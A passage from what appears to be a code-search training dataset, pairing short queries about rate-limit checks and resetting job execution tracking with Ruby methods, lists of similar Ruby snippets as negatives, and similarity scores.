"def clean(rate_limit_time = nil)\n rate_limit_time ||= Time.now\n\n @bucket.delete_if do |_, limit_hash|\n # Time limit has not run out\n return false if @time_span && rate_limit_time < (limit_hash[:set_time] + @time_span)\n\n # Delay has not run out\n return false if @delay && rate_limit_time < (limit_hash[:last_time] + @delay)\n\n true\n end\n end"
] |
[
"0.84402245",
"0.7890889",
"0.77602637",
"0.75234616",
"0.7429077",
"0.7429077",
"0.7405816",
"0.7293817",
"0.7209378",
"0.71388525",
"0.7107552",
"0.7106154",
"0.708863",
"0.7048507",
"0.6996031",
"0.69412345",
"0.69113547",
"0.6910193",
"0.6804323",
"0.6783847",
"0.6769469",
"0.6761674",
"0.6731831",
"0.6645367",
"0.6636587",
"0.66252357",
"0.6618208",
"0.66168916",
"0.66095287",
"0.6598541",
"0.6589269",
"0.6578811",
"0.65722376",
"0.6564247",
"0.65377414",
"0.6495788",
"0.64804024",
"0.6431949",
"0.64184046",
"0.6393856",
"0.63841563",
"0.6351851",
"0.6328987",
"0.6285373",
"0.62815464",
"0.6279536",
"0.6268576",
"0.62682724",
"0.62640214",
"0.6260201",
"0.62533426",
"0.6250871",
"0.62446004",
"0.62407255",
"0.6239193",
"0.6239083",
"0.6237342",
"0.6227438",
"0.6226842",
"0.6211044",
"0.620617",
"0.6198405",
"0.6155359",
"0.6150738",
"0.61448777",
"0.6137805",
"0.6136633",
"0.6130404",
"0.6130223",
"0.6101801",
"0.6088442",
"0.60878485",
"0.6087718",
"0.6086045",
"0.6082902",
"0.6067374",
"0.60648483",
"0.60567576",
"0.60560375",
"0.60429776",
"0.6038343",
"0.6035661",
"0.6022404",
"0.6021059",
"0.60186994",
"0.6004681",
"0.59830546",
"0.5978765",
"0.5975096",
"0.59741247",
"0.59558684",
"0.59488297",
"0.594474",
"0.5932833",
"0.5932513",
"0.5929908",
"0.59198475",
"0.5916055",
"0.59110403",
"0.59067994"
] |
0.7724291
|
3
|
Check if rate limit is within the threshold.
|
def within_bounds?
!exceeded?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_for_rate_limits\n rate_limit_remaining < 10\n end",
"def over_rate_limit?\n window = 10.minutes.ago.to_i\n interval = 30.seconds.to_i\n \n return true if rate_limit.present? and rate_limit > Time.now.to_i\n if rate_limit.nil? or rate_limit < window\n self.rate_limit = window\n end\n self.rate_limit += interval\n self.save!\n false\n end",
"def over_rate_limit?\n window = 10.minutes.ago.to_i\n interval = 30.seconds.to_i\n \n return true if rate_limit.present? and rate_limit > Time.now.to_i\n if rate_limit.nil? or rate_limit < window\n self.rate_limit = window\n end\n self.rate_limit += interval\n self.save!\n false\n end",
"def limit_reached?\n end",
"def over_limit?\n connect\n redis.incr rate_limiter_key\n redis.get(rate_limiter_key).to_i > limit\n end",
"def over_limit?\n self.plan.limit.to_i > 0 && self.sms_usage >= self.plan.limit\n end",
"def can_throttle?\n [threshold, period].select(&:zero?).empty?\n end",
"def check_threshold\n rate = lines.length.to_f / expiry\n if rate > threshold\n alert_status\n elsif rate < threshold\n normal_status\n end\n end",
"def below_threshold?\n coverage < threshold\n end",
"def exceeded?\n count >= threshold\n end",
"def rate_limited_exceeded?\n limit = get_json( \"#{ GITHUB_API_URL }/rate_limit\" )[ 'rate' ][ 'remaining' ]\n limit == 0 ? true : false\nend",
"def limit?\n @headers.key?('x-ratelimit-limit')\n end",
"def check_rate\n if not @intercom.rate_limit_details[:remaining].nil? and @intercom.rate_limit_details[:remaining] < 2\n sleep_time = @intercom.rate_limit_details[:reset_at].to_i - Time.now.to_i\n puts(\"Waiting for #{sleep_time} seconds to allow for rate limit to be reset\")\n sleep sleep_time\n end\n else\n end",
"def check_rate\n if not @intercom.rate_limit_details[:remaining].nil? and @intercom.rate_limit_details[:remaining] < 2\n sleep_time = @intercom.rate_limit_details[:reset_at].to_i - Time.now.to_i\n puts(\"Waiting for #{sleep_time} seconds to allow for rate limit to be reset\")\n sleep sleep_time\n end\n end",
"def below_limit?\n self.live_count < self::LIMIT\n end",
"def throttled?\n @throttle >= params[:throttle].value\n end",
"def is_limit_valid?(limit)\n return (limit.class == Float &&\n limit >= 0.0 &&\n limit <= 100.0)\n end",
"def satisfied?\n @options[:limit] > 0 && @count >= @options[:limit]\n end",
"def limited?\n\t\t\t(Time.new - last_run) < interval\n\t\tend",
"def check_seconds_behind\n return true if Integer(@status['Seconds_Behind_Master']) < @threshold\n end",
"def check_threshold\n max_threshold = @assignment.review_topic_threshold\n # Assignment.find_by_sql([\"SELECT review_topic_threshold FROM pg_development.assignments WHERE assignments.id =?\",assign.id])\n num_reviews = ResponseMap.find_by_sql([\"SELECT * FROM response_maps rm where rm.reviewed_object_id =? AND rm.reviewee_id=?\", @assignment.id, @map.reviewee_id]).count\n max_threshold = 5 if max_threshold == 0 || max_threshold.nil?\n\n if num_reviews < (max_threshold / REARRANGING_FACTOR)\n return true\n else\n return false\n end\n end",
"def fails_threshold?\n return false if sample_size < options.sample_threshold\n\n failure_rate >= options.rate_threshold\n end",
"def limit_reached?\n @count >= @max\n end",
"def over_limit?\n count > max_calls\n end",
"def limitcheck(num, lower, upper)\n (num >= lower and num <= upper) && num\n end",
"def limitcheck(num, lower, upper)\n (num >= lower and num <= upper) && num\n end",
"def above_threshold?\n real_time >= Metrics.method_call_threshold\n end",
"def passed?\n config.threshold.nil? ||\n (config.threshold_must_match && percent == config.threshold) ||\n percent >= config.threshold\n end",
"def limits_enabled?\n MSPhysics::Newton::Hinge.limits_enabled?(@address)\n end",
"def low_balance?\n balance < low_balance_threshold\n end",
"def limits_ok?\n status = true\n if (@min.exp.to_s.include? '/') || (@max.exp.to_s.include? '/')\n return status\n end\n\n if @min.exp.nil? ^ @max.exp.nil?\n @limit_type = :single_sided\n if @typ.exp\n # status = false\n Origen.log.debug \"Spec #{@name} has a typical limit defined with either min or max. They are mutually exclusive, use 'target' when using min or max\"\n end\n elsif @min.exp && @max.exp\n @limit_type = :double_sided\n # Both min and max must be numerical to compare them\n if @min.value.is_a?(Numeric) && @max.value.is_a?(Numeric)\n # Check that min and max make sense\n if @max.value <= @min.value || @min.value >= @max.value\n status = false\n Origen.log.debug \"Spec #{@name} has min (#{@min.value}) and max (#{@max.value}) reversed\"\n end\n # Check that target is OK\n unless @target.nil?\n if @target.value <= @min.value || @target.value >= @max.value\n status = false\n Origen.log.debug \"Spec #{@name} has a target (#{@target.value}) that is not within the min (#{@min.value}) and max #{@max.value}) values\"\n end\n end\n end\n end\n status\n end",
"def within_threshold?\n\n s_timing_threshold = scheduled_time_local.in(self.threshold)\n now_in_target_tz = DateTime.now.in_time_zone(Sundial::Config.default_time_zone)\n\n logger.info(\"Checking schedule [#{self.id}] timing threshold [#{s_timing_threshold}] using current time in \"\\\n \"schedule's time zone: #{now_in_target_tz}\")\n\n return now_in_target_tz <= s_timing_threshold\n end",
"def past_time_threshold?\n return true if @past_time_threshold # no need to check again once past\n @past_time_threshold = (Time.now-@start_time) >= N_PLUS_ONE_TIME_THRESHOLD\n end",
"def amount_inside_the_pot_bounds\n return if pot.nil?\n return true if pot.upper_bound.nil?\n return true if amount <= pot.upper_bound\n errors.add(:amount, :amount_out_of_bounds)\n false\n end",
"def throttled?(key, scope:, threshold: nil, users_allowlist: nil, peek: false)\n raise InvalidKeyError unless rate_limits[key]\n\n return false if scoped_user_in_allowlist?(scope, users_allowlist)\n\n threshold_value = threshold || threshold(key)\n\n return false if threshold_value == 0\n\n interval_value = interval(key)\n # `period_key` is based on the current time and interval so when time passes to the next interval\n # the key changes and the rate limit count starts again from 0.\n # Based on https://github.com/rack/rack-attack/blob/886ba3a18d13c6484cd511a4dc9b76c0d14e5e96/lib/rack/attack/cache.rb#L63-L68\n period_key, time_elapsed_in_period = Time.now.to_i.divmod(interval_value)\n cache_key = cache_key(key, scope, period_key)\n\n value = if peek\n read(cache_key)\n else\n increment(cache_key, interval_value, time_elapsed_in_period)\n end\n\n value > threshold_value\n end",
"def above_threshold?\n real_time.in_milliseconds >= ::Gitlab::Metrics.method_call_threshold\n end",
"def rate_limit_available?(env)\n env.key?(rack_attack_key) && (env[rack_attack_key].keys & throttle).any?\n end",
"def check_total_charges_limit\n check_charges_limit([validate_total_limit])\n end",
"def health_below_threshold?\n (plugins[Character].current_health.to_f / plugins[Character].total_health.to_f) * 100 < @health_threshold_percentage\n end",
"def should_be_limited?\n @options[:limit] == true or (@options[:limit].is_a?(Fixnum) and @options[:limit] > 0)\n end",
"def ensure_rate_limits\n sleep 1 / REQUST_LIMIT_PER_MINUTE.to_f\n end",
"def rate_limit_check\n status = 200\n result = {}\n if rate_limit_on?\n if rate_limit_left > 0\n status = 429\n result[:error] = \"you need to wait #{rate_limit_left} ms before you can request anything again\"\n render status: status, json: result\n end\n end\n end",
"def verify_limits(value, limit1, limit2) #method\n value = get_value(value)\n if !value.between?(limit1, limit2)\n puts \"Fatal Error: #{value} exceeds limit.\"\n exit\n end\n end",
"def has_limit?\n !@options[:limit].blank?\n end",
"def limits?\n out=@linker.call(\"account\",\"limits\")\n if(out[\"status\"].to_sym == :success)\n return out[\"usage\"]\n else\n return nil\n end\n end",
"def vote_limit_enabled?\n vote_limit.present?\n end",
"def rate_limit\n return nil unless @client\n\n t = Time.now\n limit = API.cache[\"rate_limits/users/#{@client.key}\"]\n if limit.nil? or limit[0] <= t.to_i\n # Reset limit\n limit = [t.to_i + INTERVAL, REMAINING]\n end\n\n # Update limit\n limit[1] = limit[1] - 1\n\n if limit[1] <= 0\n # Limit exceeded\n raise API::RateLimitError, \"rate limit exceeded (#{REMAINING}/#{INTERVAL} seconds)\"\n end\n\n # Store limit\n API.cache.store(\"rate_limits/users/#{@client.key}\", limit, :ttl => limit[0] - t.to_i)\n \n # Set rate limit headers\n response['X-RateLimit-Limit'] = REMAINING.to_s\n response['X-RateLimit-Remaining'] = limit[1].to_s\n response['X-RateLimit-Reset'] = Time.at(limit[0]).xmlschema\n\n true\n end",
"def rate_limit_interval\n interval = ENV['RATE_LIMIT_INTERVAL'].to_i\n interval > 0 ? interval : 1\n end",
"def eligible?(n)\n n < @limit\n end",
"def within_limit_of?(item, user)\r\n @member_limits.fetch(user.email).has_resources_for?(item.price)\r\n end",
"def threshold_enabled?\n @enable_threshold\n end",
"def within_storage_limit?\n #return true if @homebase.plan.priveleges.find(2).plan_limit.to_i == 0\n #return true if @homebase.total_files.to_f/1024.kilobytes <= @homebase.plan.priveleges.find(2).plan_limit.to_i\n return true if @homebase.within_storage_limit?\n return false\n end",
"def greater_or_equal_to?(value, limit)\n integer?(value) && value >= limit\n end",
"def evaluate right_amt, wrong_amt\n percent = self.get_current right_amt, wrong_amt\n\n self.threshold.to_f <= percent\n end",
"def twist_limits_enabled?\n MSPhysics::Newton::BallAndSocket.twist_limits_enabled?(@address)\n end",
"def below_user_limit?(user, additional_items)\n if purchase_limit == 0\n true\n else\n current_count = current_count(user, additional_items)\n current_count < purchase_limit\n end\n end",
"def check_bounds(value)\n return value >= self.bound.lower_bound && value <= self.bound.upper_bound\n end",
"def limit?() @limit; end",
"def rate_limit_limit(throttle_data)\n throttle_data[:limit]\n end",
"def exceeds_limit?(limit_value)\n !!(limit_value && sliced_nodes.limit(limit_value + 1).count > limit_value)\n end",
"def check_limit\n if user.pins.count >= user.pins_limit\n errors[:base] << \"Pins limit reached\"\n end\n end",
"def quality_value_threshold?(quality_score)\n quality_score > QUALITY_SCORE_THRESHOLD\n end",
"def threshold\n @threshold || 95\n end",
"def loadAveragewatchdog(loadaverage,maxloadaverage)\n if loadaverage.to_f >= maxloadaverage.to_f\n return true\n end\n return false\nend",
"def before\n endpoint = env['api.endpoint']\n logger = options[:logger] || Logger.new($stdout)\n\n return unless throttle_options = endpoint.route_setting(:throttle)\n\n limit, period = find_limit_and_period(throttle_options)\n\n check_limit_and_period(limit, period)\n\n limit = limit.call(env) if limit.is_a?(Proc)\n return true if limit.negative?\n\n user_value = find_user_value(options) || \"ip:#{env['REMOTE_ADDR']}\"\n rate_key = generate_rate_key(endpoint, user_value)\n\n begin\n redis = options[:cache]\n redis.ping\n\n current = redis.get(rate_key).to_i\n\n if !current.nil? && current >= limit\n endpoint.error!('Too Many Requests', 429)\n else\n redis.multi do\n redis.set(rate_key, COUNTER_START, nx: true, ex: period.to_i)\n redis.incr(rate_key)\n end\n end\n rescue StandardError => e\n logger.warn(e.message)\n end\n end",
"def active_between?(start_point, end_point)\n speed_between(start_point, end_point) > 0.5\n end",
"def response_times_ok?\n if response_times.size > 0\n average_response_time <= threshold\n else\n true\n end\n end",
"def tokens_is_upper_limit_reahed?\n self.class.token_limiter.upper_limit_reahed?\n end",
"def checkLimit(limit, lastUsage, currentUsage)\n rc = []\n if limit && lastUsage <= limit && currentUsage > limit\n rc.push :crossed_upwards\n elsif limit && lastUsage > limit && currentUsage <= limit\n rc.push :crossed_downwards\n else\n rc.push :not_crossed\n end\n\n rc.push limit && currentUsage > limit\n end",
"def tokens_is_lower_limit_reahed?\n self.class.token_limiter.lower_limit_reahed?\n end",
"def ensure_user_plan_limit_not_reached\n if @current_user.is_employee? || @person.is_employee?\n return\n end\n\n userplanservice = UserPlanService::Api.new\n @current_user_max_trusted_users = userplanservice.get_plan_feature_level(@current_user, :company_trusted_users)[:value]\n @other_company_max_trusted_users = userplanservice.get_plan_feature_level(@person, :company_trusted_users)[:value]\n current_user_followed_count = @current_user.followed_people.count\n other_company_followers_count = @person.followers.count\n\n # current user has reached followed limit\n if current_user_followed_count >= @current_user_max_trusted_users\n #@max_followed_reached = true\n flash[:error] = t('people.show.followed_limit_reached2', :link => get_wp_url('pricing')).html_safe\n respond_to do |format|\n format.html { redirect_to :back }\n format.js { render :partial => \"people/max_followers_reached\" }\n end\n return\n end\n\n # other company has reached followers limit\n if other_company_followers_count >= @other_company_max_trusted_users\n #@max_follower_reached = true\n flash[:error] = t('people.show.followers_limit_reached').html_safe\n respond_to do |format|\n format.html { redirect_to :back }\n format.js { render :partial => \"people/max_followers_reached\" }\n end\n end\n return\n end",
"def rate_limit\n new_request=RequestLimit.new({ip:request.remote_ip.to_s})\n\n # create a new record of RequestLimit to keep count of the incomming requests\n new_request.save\n\n # Check if current request exceeds max limit specified\n\n if RequestLimit.all.size > RequestLimit::MAX_LIMIT\n\n # Calculate the Time till the count will get reset\n time_left=(Time.now.end_of_hour).to_i-(Time.now).to_i\n render status: 429, json: { message: \"Rate limit exceeded. Try again in #{time_left} seconds\" } ## response when limit is exceeded\n end\n end",
"def throttle?(timestamp, last_timestamp)\n timestamp - last_timestamp <= FREQUENCY_LIMIT\n end",
"def test_bounds(val, min, max)\n val >= min && val <= max\n end",
"def rate_limit\n options[:rate_limit]\n end",
"def test_execute_threshold(value = 1)\n if value == @threshold\n then return true\n end\n return false\n end",
"def enforce_rate_limit\n allowance = (session[:js_exception_notifier_allowance] || THROTTLE_MAX_RATE).to_f\n last_error_at = (session[:js_exception_notifier_last_error_at] || Time.now).to_i\n\n current_time = Time.now.to_i\n time_passed = current_time - last_error_at\n session[:js_exception_notifier_last_error_at] = current_time\n\n allowance += time_passed * (THROTTLE_MAX_RATE / THROTTLE_DURATION)\n allowance = THROTTLE_MAX_RATE if allowance > THROTTLE_MAX_RATE\n\n if allowance < 1.0\n session[:js_exception_notifier_allowance] = allowance\n if Rails.env.production?\n render json: {}, status: 200\n else\n render json: { text: \"You reached error limit!\" }, status: 422\n end\n else\n session[:js_exception_notifier_allowance] = allowance - 1.0\n end\n end",
"def is_effective?(value)\n @range_lower <= value && value <= @range_upper\n end",
"def validate_api_call_count\n if outbound_request?\n data = $redis.get(\"api_call_count_for_#{from}\")\n errors.add(:base, message: \"limit reached for from #{from}\") if data && JSON.parse(data)['count'] > 50\n end\n end",
"def exceeded?(amount = 1)\n used + amount > max\n end",
"def cone_limits_enabled?\n MSPhysics::Newton::BallAndSocket.cone_limits_enabled?(@address)\n end",
"def has_enough_points\n if !@signed_in\n return false\n elsif current_user.sk.admin?\n return true\n else\n return (current_user.sk.rating >= 200)\n end\n end",
"def throttle_exceeded?\n max_active_workers ? (input.active_count >= max_active_workers) : false\n end",
"def rate_limit!(namespace, limit: 5, minutes: 5)\n request_time = DateTime.now\n log_path = Rails.root.join(\"tmp/rate_limits/#{namespace}.log\")\n\n unless File.exist?(log_path)\n FileUtils.mkdir_p(File.dirname(log_path))\n FileUtils.touch(log_path)\n timestamp = request_time.strftime('%Y-%m-%dT%H:%M:%S%Z')\n count = 0\n File.write(log_path, \"#{timestamp} #{count}\")\n end\n\n # Check if log is in limit state\n log = File.open(log_path, 'r')\n timestamp, count = log.read.chomp.split\n time = DateTime.parse(timestamp, '%Y-%m-%dT%H:%M:%S%Z')\n count = count.to_i\n\n if time < (request_time - minutes.minutes)\n # Time window expired - reset\n timestamp = request_time.strftime('%Y-%m-%dT%H:%M:%S%Z')\n count = 1\n else\n # Current time window\n count += 1\n\n if count > limit\n flash[:alert] = 'Too many recent requests. Please try again later.'\n render(status: :too_many_requests)\n timestamp = DateTime.now.strftime('%Y-%m-%dT%H:%M:%S%Z') # Refresh timestamp\n File.write(log_path, \"#{timestamp} #{count}\")\n return false\n end\n end\n\n # Update log and allow request to proceed\n File.write(log_path, \"#{timestamp} #{count}\")\n end",
"def subsample_thresholds_required\n SUBSAMPLE_THRESHOLDS.select {|sample| sample < self.points}\n end",
"def critical?\n hp_rate <= Critical_Rate\n end",
"def critical?\n hp_rate <= Critical_Rate\n end",
"def within_projects_limit?\n #return true if @homebase.plan.priveleges.find(1).plan_limit.to_i == 0\n #return true if @homebase.projects.count < @homebase.plan.priveleges.find(1).plan_limit.to_i\n return true if @homebase.within_projects_limit?\n false\n end",
"def allowed?(request)\n whitelisted?(request) && !blacklisted?(request) && meets_quota?\n end",
"def check_limit\n if pin.photos.count >= LIMIT\n errors[:base] << \"Photos limit reached for this pin\"\n end\n end",
"def response_throttled?\n !!node(\"response-throttled\")\n end",
"def can_deliver?(cur, amount)\n amount > 0.01 && amount <= available_balance(cur)\n end",
"def req_limit_check block=nil\n\t\t\tif @reqs[:cnt] >= @req_limit && Time.now <= @reqs[:next_check]\n\t\t\t # limit reached, execute the optional block and sleep until next_check\n\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i\n\t\t\t\tlog? && GLogg.log_d2? && GLogg.log_d2(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Request limit ' + #_\n\t\t\t\t\t\t\"(%u per %usecs) reached.\\n Sleeping %u seconds.\", #_\n\t\t\t\t\t\t@req_limit, @req_time_range, secs)) #_\n\t\t\t\tif block\n\t\t\t\t\tblock.call\n\t\t\t\t\tsecs = (@reqs[:next_check] - Time.now + 1).to_i # recompute\n\t\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t\t'Curburger::Request#req_limit_check: ' + #_\n\t\t\t\t\t\t\t'Block executed, sleeping %usecs.', secs > 0 ? secs : 0)) #_\n\t\t\t\tend\n\t\t\t\tsleep secs if secs > 0\n\t\t\tend\n\t\t\tif Time.now > @reqs[:next_check] # reset the counter\n\t\t\t\tlog? && GLogg.log_d3? && GLogg.log_d3(sprintf( #_\n\t\t\t\t\t\t'Curburger::Request#req_limit_check: Resetting counter ' + #_\n\t\t\t\t\t\t'(%u/%u requests done).', @reqs[:cnt], @req_limit)) #_\n\t\t\t\t@reqs[:cnt], @reqs[:next_check] = 0, Time.now + @req_time_range\n\t\t\tend\n\t\tend",
"def not_safe?(speed)\n\tspeed.between?(40, 60) ? false : true\nend",
"def throttle?\n false\n end",
"def angular_limits_enabled?\n MSPhysics::Newton::Corkscrew.angular_limits_enabled?(@address)\n end",
"def threshold_disabled?\n !@enable_threshold\n end",
"def rate_limited?(thing, rate_limit_time = nil, increment: 1)\n key = resolve_key thing\n limit_hash = @bucket[key]\n\n # First case: limit_hash doesn't exist yet\n unless limit_hash\n @bucket[key] = {\n last_time: Time.now,\n set_time: Time.now,\n count: increment\n }\n\n return false\n end\n\n # Define the time at which we're being rate limited once so it doesn't get inaccurate\n rate_limit_time ||= Time.now\n\n if @limit && (limit_hash[:count] + increment) > @limit\n # Second case: Count is over the limit and the time has not run out yet\n return (limit_hash[:set_time] + @time_span) - rate_limit_time if @time_span && rate_limit_time < (limit_hash[:set_time] + @time_span)\n\n # Third case: Count is over the limit but the time has run out\n # Don't return anything here because there may still be delay-based limiting\n limit_hash[:set_time] = rate_limit_time\n limit_hash[:count] = 0\n end\n\n if @delay && rate_limit_time < (limit_hash[:last_time] + @delay)\n # Fourth case: we're being delayed\n (limit_hash[:last_time] + @delay) - rate_limit_time\n else\n # Fifth case: no rate limiting at all! Increment the count, set the last_time, and return false\n limit_hash[:last_time] = rate_limit_time\n limit_hash[:count] += increment\n false\n end\n end",
"def unfollow_threshold_past?(last_time)\n days = @unfollow_threshold[:days] ||= 0\n hours = @unfollow_threshold[:hours] ||= 0\n minutes = @unfollow_threshold[:minutes] ||= 0\n seconds = @unfollow_threshold[:seconds] ||= 0\n\n total_in_seconds = days * 86_400 + hours * 3600 + minutes * 60 + seconds\n ((Time.now - last_time) / total_in_seconds) >= 1\n end",
"def small_enough(a, limit)\n a.max <= limit\nend"
] |
[
"0.78974915",
"0.71591425",
"0.71591425",
"0.7112281",
"0.7081134",
"0.7078388",
"0.7029879",
"0.6932817",
"0.69009066",
"0.683426",
"0.6798573",
"0.6686474",
"0.6684501",
"0.6678876",
"0.66219014",
"0.66086584",
"0.65675175",
"0.6537815",
"0.65256757",
"0.6523335",
"0.65232646",
"0.65146875",
"0.64914536",
"0.64717627",
"0.63999355",
"0.63999355",
"0.63684756",
"0.63262886",
"0.63221455",
"0.630238",
"0.625974",
"0.6242526",
"0.62396294",
"0.6196588",
"0.61809397",
"0.61749965",
"0.6148497",
"0.6146707",
"0.6141518",
"0.61361104",
"0.61210626",
"0.61201006",
"0.60972625",
"0.60896367",
"0.60836077",
"0.60780525",
"0.6076974",
"0.60698634",
"0.6063552",
"0.60428566",
"0.6042181",
"0.601541",
"0.6009753",
"0.59877473",
"0.59834695",
"0.59583133",
"0.59579337",
"0.59478706",
"0.5946658",
"0.5942791",
"0.5926114",
"0.5914737",
"0.5901888",
"0.5896775",
"0.5870834",
"0.5865681",
"0.5861872",
"0.58586514",
"0.58558756",
"0.5837794",
"0.5775507",
"0.5774",
"0.57702",
"0.57615685",
"0.57557505",
"0.5752411",
"0.57320994",
"0.57276744",
"0.5726936",
"0.5723612",
"0.5720208",
"0.57198256",
"0.57061577",
"0.57014555",
"0.5699492",
"0.5696813",
"0.5696813",
"0.569586",
"0.56904006",
"0.5677664",
"0.56719935",
"0.5670904",
"0.5668146",
"0.56611544",
"0.56518334",
"0.5635672",
"0.563521",
"0.56315285",
"0.56261474",
"0.5624349"
] |
0.59870887
|
54
|
Reset the tracking of job executions.
|
def reset!
executions.reset
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reset\n @processed_job_ids = Set.new\n end",
"def reset\n @jobexecution_dao.delete('je.job_execution_id': @queue.map(&:job_execution_id))\n @job_dao.delete(job_id: @jobs.map(&:id))\n @jobnet_dao.delete(jobnet_id: @jobnet.id)\n end",
"def reset!\n @tasks.synchronize {\n @tasks.delete_if { |t| t.terminate! }\n @timestamp = Timestamp.new\n }\n end",
"def reset_counter\n @run_count = 0\n end",
"def reset\n @tasks_have_failed = false\n @tasks_are_finished = false\n @tasks_are_successful = false\n end",
"def reset\n @last_eval_line = nil\n @process_queue.clear\n end",
"def reset\n total_calls.clear\n total_success_calls.clear\n total_failed_calls.clear\n end",
"def reset_statistics!\n File.delete(previous_runs_filename) if File.exist?(previous_runs_filename)\n end",
"def reset\n return unless @playground.collecting?\n\n connection.destroy_experiment(@id)\n connection.set_experiment_created_at(@id, Time.now)\n @outcome = @completed_at = nil\n self\n end",
"def reset\n logger.debug \"Resetting executer state\"\n @stdout = ''\n @stderr = ''\n @success = nil\n @pid = nil\n end",
"def reset\n @targets_run = [ ]\n end",
"def reset!\n @conversions = {}\n @job_queue = nil\n end",
"def clear\n @jobexecution_dao.update(where: {subsystem: @subsys, jobnet_name: @jobnet_name},\n set: {status: 'succeeded'})\n end",
"def flush_jobs\n queued_jobs&.each(&:call)&.clear\n end",
"def reset\n @status = nil\n FileUtils.rm_rf(job_folder) if Dir.exist?(job_folder)\n end",
"def reset\n self.level = :normal\n flush\n close_log(@last_file)\n @last_file = nil\n close_log(@job_file)\n @job_file = nil\n @custom_logs.each do |name, log|\n close_log(log)\n end\n @custom_logs = {}\n end",
"def reset\n set_deferred_status(nil)\n end",
"def reset!\n runner.tick!\n @changes = Hash.new { |h, k| h[k] = Accumulator.new }\n end",
"def reset\n @executed_requests = Hash.new\n @links = Hash.new\n @properties = Hash.new\n @status = :stale\n self\n end",
"def reset()\n #This is a stub, used for indexing\n end",
"def reset()\n #This is a stub, used for indexing\n end",
"def reset\n num_removed = completed_task_ids.size\n self.completed_task_ids = []\n\n self.set_current_task_id=(lesson.tasks.first.id)\n @last_completed_task_id = 0\n self.points = 0\n\n num_removed\n end",
"def reset\n @count = 0\n end",
"def reset_before_execution_procs; end",
"def reset!\n @cache = nil\n end",
"def reset\n @loaded = false\n @slots = [nil]*SlotCount\n @pending_actions = []\n end",
"def reset\n # TODO\n end",
"def reset\n @results = @hits = @verified_hits = @total = @solr_response = @doc_ids = nil\n end",
"def reset\n @results = @hits = @verified_hits = @total = @solr_response = @doc_ids = nil\n end",
"def reset\n each(&:reset)\n self\n end",
"def reset\n @project = nil\n @total_coverage = nil\n @all_modified_files_coverage = nil\n end",
"def reset\n puts \"Number of statements in the repository: \" + @repository.size.to_s\n puts \"Resetting Sesame...\"\n @repository.delete_all_statements!\n puts \"Number of statements in the repository: \" + @repository.size.to_s\n end",
"def reset\n invoke_on_reset_callbacks\n self\n end",
"def reset_for_next_execute!\n @stmt_api.reset!\n @stmt_api.clear_bindings!\n @blobs_to_write.clear\n end",
"def reset_and_clean\n @continue_building = true\n ea = ExecutionAgent.new(a_batch_file)\n \n puts \"clean workspace...\"\n end",
"def reset\n @params = nil\n @logger = nil\n end",
"def reset\n @results = {}\n @success = false\n end",
"def reset_metrics\n flush_cache\n self\n end",
"def reset_stats; reset!; end",
"def reset\n @conditions.reset\n @results = []\n end",
"def reset!\n @last_response = nil\n @last_exit_code = nil\n end",
"def reset\n cleanup(true)\n end",
"def reset\n @args = nil\n end",
"def reset\n end",
"def reset\n end",
"def reset_timings\n @instrument_store = nil\n end",
"def reset\n # Empty, but subclasses will override this.\n end",
"def reset!\n @committed = 0.0\n @not_committed = 0.0\n end",
"def reset!\n @events = nil\n end",
"def initialise_job_tracking\n self.overall_count = 0\n self.overall_duration_seconds = 0\n self.overall_data_length_bytes = 0\n end",
"def reset!; end",
"def reset!; end",
"def reset!; end",
"def reset!; end",
"def reset!\n @loaded_projects = nil\n end",
"def reset\n writeln('reset')\n clearQueue()\n end",
"def done_working\n super\n self.job = nil\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset_log_data\n without_logging { update_all(log_data: nil) }\n end",
"def reset() end",
"def reset!\n begin\n update!(:attempts => 0, :error => nil, :lock => nil, :run_at => Time.now.utc)\n rescue => e\n DataMapper.logger.warn(e)\n end\n end",
"def reset\n @agents.clear\n end",
"def reset(*)\n super.tap do\n __debug_sim('*** RESET WORKFLOW STATE ***')\n end\n end",
"def reset\n\n end",
"def reset\r\n @cache.reset\r\n end",
"def reset!\n @stmt_api.reset!\n @param_positions = {}\n @blobs_to_write.clear\n @rowid_index = nil\n end",
"def reset_statistics!; end",
"def reset_statistics!; end",
"def reset\n @sets = {}\n self\n end",
"def clear_events!\n @started_events = []\n @succeeded_events = []\n @failed_events = []\n self\n end",
"def reset\n set_last_update_at\n end",
"def reset!\n self.result = nil\n @rows = nil\n @docs = nil\n end",
"def reset! (queue)\n conditions = queue.class_names.empty? ? {} : {:record_class_name => queue.class_names}\n update_all({:run_at => Time.now.utc, :attempts => 0, :error => nil, :lock => nil}, conditions)\n end",
"def reset\n end",
"def reset\n end",
"def reset!\n runner.tick!\n Worker.before_fork\n end",
"def reset!(*job_args)\n Sidekiq.redis { |conn| conn.del(key(job_args)) }\n end",
"def reset!(*job_args)\n Sidekiq.redis { |conn| conn.del(key(job_args)) }\n end",
"def reset()\n end",
"def reset\n @events = []\n end",
"def reset\n @registry = {}\n @logging = false\n @line_item_limit = 1000\n end",
"def hook_clear_run_counts(_hook_args, _event_args)\n metadata\n .data.keys\n .select { |k| k.to_s =~ /^_try_/ }\n .each { |k| metadata[k] = nil }\n metadata[:_step] = nil\n save\n end",
"def reset\n @equations = nil\n @results = nil\n end",
"def reset\n @callbacks = []\n @closebacks = []\n end",
"def reset_all_statistics\n super\n end",
"def reset\n\t @result_set = nil\n\t self\n\tend",
"def reset\n @rows = nil\n end",
"def reset\n self.time_step = DEFAULT_TIME_STEP\n self.availiable_days = DEFAULT_AVAILIABLE_DAYS\n self.availiable_steps = DEFAULT_AVAILIABLE_STEPS\n self.steps_day_shift = DEFAULT_STEPS_DAY_SHIFT\n end",
"def reset!\n @messages = []\n @paused_partitions = {}\n end",
"def clear_events!\n @started_events = []\n @succeeded_events = []\n @failed_events = []\n end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end",
"def reset; end"
] |
[
"0.7736411",
"0.76488227",
"0.68267167",
"0.67323714",
"0.66934985",
"0.6565566",
"0.65603065",
"0.6537346",
"0.6529518",
"0.65283346",
"0.6514642",
"0.64965814",
"0.6493098",
"0.6465226",
"0.6426591",
"0.6360715",
"0.6337814",
